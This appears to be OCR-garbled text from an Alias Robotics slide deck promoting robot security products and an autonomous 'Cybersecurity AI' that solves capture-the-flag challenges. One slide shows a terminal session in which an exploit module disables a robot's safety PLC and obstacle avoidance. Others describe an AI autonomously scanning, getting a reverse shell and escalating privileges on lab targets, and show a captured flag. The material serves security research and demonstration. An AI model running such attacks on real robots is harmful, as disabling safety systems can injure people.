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ALIAS
ROBOTICS

Alias Robotics is the world leading
robot cyber security firm. Founded
upon previous experiences in robotics,
we take a roboticists' approach to
cyber security and deliver security
solutions for robots and their
components.




PROBLEM

export TARGET=$(nslookup mir10@ | awk "NR==6{print$2}" | sed "s/Address: //g")
robosploit -m exploits/mir/safety/plc_disable
Sourcing /opt/atom/.env.sh
Sourcing /opt/nmap/.env.sh
Sourcing /opt/robosploit/.env.sh
root@attacker:~# export TARGET=$(nslookup mir10@ | awk “"NR==6{print$2}"
root@attacker:~# robosploit -m exploits/mir/safety/p
Running module exploits/mir/safety/plc_disable...
Establishing connection
Connection sucessful
Disabling safety PLC by setting registers
Safety PLC succesfully disabled
WARNING! Obstacle avoidance will not work from this point on
root@attacker:~#
root@attacker:~#
root@attacker:~# # attack has been sent to the robot
root@attacker:~# # PLC is disabled, let's now manually walk through it
root@attacker:~#
root@attacker:~#
root@attacker:~# robosploit

| sed “s/Address: //g")

Exploitation Framework for robots by Alias Robotics S.L.

Codename : Alligator
Version : 1.0
Homepage : https://aliasrobotics.com

Exploits: 29 Scanners: 2 Creds: 9 Generic: 4 Payloads: 26 Encoders: 4

rbs > use exploits/mi
exploits/mir/

rbs > use exploits/mir/

exploits/mir/dashboard/ exploits/mir/dos_ssh exploits/mir/rest/ exploits/mir/ros/ exploits/mir/safety/ exploits/mir/telnet_denial

rbs > use exploits/mir/safety/plc_
exploits/mir/safety/plc_defaults exploits/mir/safety/plc_disable
rbs > use exploits/mir/safety/plc_disable

rbs ( ) > show

exploits/misc/ exploits/mitsubishi/

exploits/mir/safety/plc_dos exploits/mir/safety/plc_enable
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WIRELESS CONNECTIVITY BRINGS NEW OPPORTUNITIES, BUT ALSO NEW RISKS
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CAN HEALTHCARE ROBOTS SAVE YOUR LIFE?
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INTRODUCING RIS
ROBOT IMMUNE SYSTEM

 RECENT ALERTS ¥
(2019.12:09 00:33:50){5]{CLOSED tcp connection from local 192.168.111.72 using applic .

Check your robot’s last alerts. o3 seer sl et eancies e 2021 i el s

It shows all recent Danger or %

Warning alerts that have not

been checked. o 001555 CCCC @
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Smooth Transition
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Malicious threat prevented
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status when you have
already checked your alerts.

Enable or disable alert
Popups. Activate it if you

want to receive notifications

when alerts occur.

Contains information about

RIS operation. Come here
whenever you need help.
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WHAT IS
RIS?

Plug & Play Robot Security Solution

RIS is a Robot Endpoint Protection Platform
(REPP), an integrated suite of endpoint
protection technologies for robots. RIS gets
deployed directly into your robot or robot
component. —including a next-gen antivirus,
hardening for known flaws, data encryption,
intrusion prevention mechanisms, data loss
prevention, etc.— that detects, prevents,
stops and informs on a variety of threats that
affect the robotic system.

@1 © File

Program Installation
TCP Configuration
Mounting

1/0 Setup

'@Safety

Variables

MODBUS

Features

Smooth Transition
Conveyor Tracking
EtherNet/IP

PROFINET

Robot Immune System
Default Program

Load/Save

N
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Move | 1I/O ' Log

Robot Immune System
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Detecting

2020-01-15 13:25:01

@ [2020-01-15 13:25:00] [1] [NEW tcp connection from local 192.168.111.72 using applic

[2020-01-14 15:48:11] [4] [NEW connection to port 30001]
[2020-01-14 15:45:24] [4] [NEW connection to port 30001]
4 »




SECURING 46+
ROBOT ENDPOINTS

RIS support for:

UNIVERSAL
LrBROBOTS
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SOME
CUSTOMERS

ubuntu

Trusted by industry
leaders

Though we’ve been alive for short, we our
proud to be serving some of the best
companies operating in robotics worldwide.

We take pride in our services and focus on
offering best quality solutions.

More case studies here




LEADING ROBOT
CYBERSECURITY

Read about our research here

ACTIVE ROBOT

1K+ 30+
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SECURE ROBOTS
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LEVELS OF AUTONOMY
INCYBERSECURITY

AUTONOMY LEVELS
IN CYBERSECURITY PLAN SCAN

1. MANUAL - Human experts (today) 91@7% 9’.@.%

B o
2. LLM-ASSISTED - PentestGPT (2023) IS, NOOAIT
3. SEMI-AUTOMATED - RIS1 (2022-today) I A
4. CYBERSECURITY Als (CAIls) - RIS2 (soon) 7&3'—_0 7@-_0
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BY 2028 WILL TAKE OVER THE SECURITY SPACE, WITH HUMANS TELEOPERATING
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INTRODUCING
RIS2

SKIN

Firewall .

Preliminary filters. Re-configures
depending on the environment.

INNATE IMMUNITY

ADAPTATIVE %_Q
IMMUNE SYSTEM (@' .
GenAl [ ‘/
Implements fully autonomous \

Cybersecurity Als with capabilities
to help plan, scan, attack and mitigate.

Hardening ‘

Fixes security flaws. Provides
generic defense.

COMPLEX
IMMUNE SYSTEM

MEMORY
Logging ‘

Provides a record of traceability

4‘ Visualization

Analytics of the biological visualization.
Provides visualization and analytics of RIS.

@©RIS2




RIS2 CYBERSECURITY Al

# /bin/bash

/workspace

time python3 other/experiments/22_ins_picoctf_static_flag.py

Removed existing container: ancient

Using existing network 'PentestingPerf_192_168_9_0' with subnet '192.168.9.0/24"'.

Starting CTF with network name:
Started CTF: picoctf_static_flag
IP Address: 192.168.9.52

Flag:

picoCTF{s4nlty_d@wnl@4d3d}

PentestingPert

192

168

9.0

RIS2 is [aunched against PicoCTF
‘static_flag” scenario. RIS2 finds
the flag file and captures it.

Time Energy
~3 mins | Joules

PICOCTF
STATIC_FLAG




RIS2 CYBERSECURITY A

# /bin/bash
/workspace
time python3 other/experiments/22_ins_picoctf_static_flag.py
Removed existing container: ancient
Using existing network 'PentestingPerf_192_168_9 _0' with subnet '192.168.9.0/24"'.
Starting CTF with network name: PentestingPerf_192_168_9 0
Started CTF: picoctf_static_flag
IP Address: 192.168.9.52
Flag:

: |FLAG |=====
picoCTF{sd4nlty_d@wnl104d3d}

PICOCTF
STATIC_FLAG

Initialize CTF
PicoCTF static_flag

Launch RIS2
Against CTF

Plan
Initial tasks

List files and dirs
Initial reconnaissance

‘ Seach for files

Look into matches

‘ Check file contents
In search for flags

@ Expand search
Look for hidden files



OUR EVAL METRICS FOR
CYBERSECURITY Als

TIME (seconds) ENERGY (joules) COMPUTE (FLOPs) COMPLIANCE

O O O

Measures in various forms Evaluates the power Assesses the CAl's Verifies to
response time and consumption during Al computational resource cybersecurity regulations
latency it takes the operations to ensure requirements, including and standards within Al
Cybersecurity Ads (CAls) efficient resource use. CPU, GPU and Neural processes.

in detecting and Engines.

mitigating cyber-threats.




RIS2 CYBERSECURITY Al
TIMING METRICS
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OUR PERFORMANCE HEURISTIC
FOR CYBERSECURITY Als

Introducing the “PentestPert (PP)” score T....: Time spent executing commands.

Evaluates a Cybersecurity Al’s efficiency
Tplanning: Time spent on planning and strategizing.

1
T etrieval: Time spent on data retrieval.
T iher: Time spent on other activities.
PP Is a numerical metric that balances the time E': Energy consumed in Joules.

taken, energy consumed, and computational
resources used by a Cybersecurity Al (CAIl) when
tackling an offensive or defensive security target a, 3, v: Weights to balance the contribution of time, energy, and computation.
challenge, including CITFs. The lower the PP
score, the better the CAl's performance.

Tcmd + Tplanning + Tretrieval + Tother

—‘ PP(target):O.5-a-( T T )+O.3-6-E+O.2-7-C

PP value for the PicoCTF “static_flag” challenge: 3.81

C': Computation required in FLOPs.




RIS2 CYBERSECURITY Al

RISZ is launched against VulnHub
“‘Hackablell” scenario. RIS2 plans
autonomously to conduct a) network
scanning, b) service enumeration, c)
vulnerability and potential exploit identification,
d) exploitation of a reverse shell (favored over
brute-forcing SSH), e) gaining foothold via
reverse shell activation using port 80 and f)
privilege escalation and flag acquisition.

VULNHUB
HACKABLEII




ADDED VALUE
OF ALIAS ROBOTICS

CASE OF STUDY
HACKABLE Il
mm medium Minutes
150
HUMANS
50
. : A\
® Full-scripted automation 4 N\
FASTER
® RIS2 can replace humans THAN
® Humans with security 30 CA HUMANS
background take on average - /
more than 2 hours. 50 1 5m|n
AUTOMATED
10 i
Smin
c. D
0
Scripted Alias Robotics’ Total Score

RIS2



CYBERSECURITY Als
ARCHITECTURE




CYBERSECURITY Als

( User

programatically in Python

ARCHITECTURE

exploit

) W

parsing

reasoning

generation

graph adapters INSs

Moy y1o[dxe ue syIewWyousy

3. PentestPerf

state

b{ Target )




CYBERSECURITY Als
IN CODE

O U1l WN K
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import as

target="192.168.2.11"

Planner(prompt="Perform recon on 192.168.2.11 and extract vulnerabilities"”

T Llow initial state

WHEN TO IMPLEMENT YOUR FRAMEWORK?

Most frameworks don’t give you flexibility to define
your own abstractions. If your application is complex
and dynamic (a moving target), you may want to
consider owning it fully to facilitate debugging.

Example: LangGraph
Easy to start. Examples. Custom abstractions
requires hacking. Scalability difficult. Debugging

@RIS2




LONG-TERM REASONING
IN CYBERSECURITY

Approach

1 Extended Context
Windows

® Comprehensive
B No external memory

High compute demand
Contextual dilution

2 Chunking & Recurrence
(context simplification)

4 Efficient
k¥ Hierarchical

Loss of detail
Error propagation

3 External Memory
Integration

@ Unlimited storage
@ Focused retrieval

Complexity
Latency

4 Knowledge Graphs

<% Structured reasoning
® Explainability

“\ High maintenance

Flexibility limits

9 Dynamic Prompting

“@ Adaptability
2 Efficient context

Manual effort
Scalability dssues
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COMPLIANCE
AND CERTIFICATION

*x X % * X %
Jr % *
* NIS2 % % AIACT *
5 % *
IEC 62443 * x X X x X
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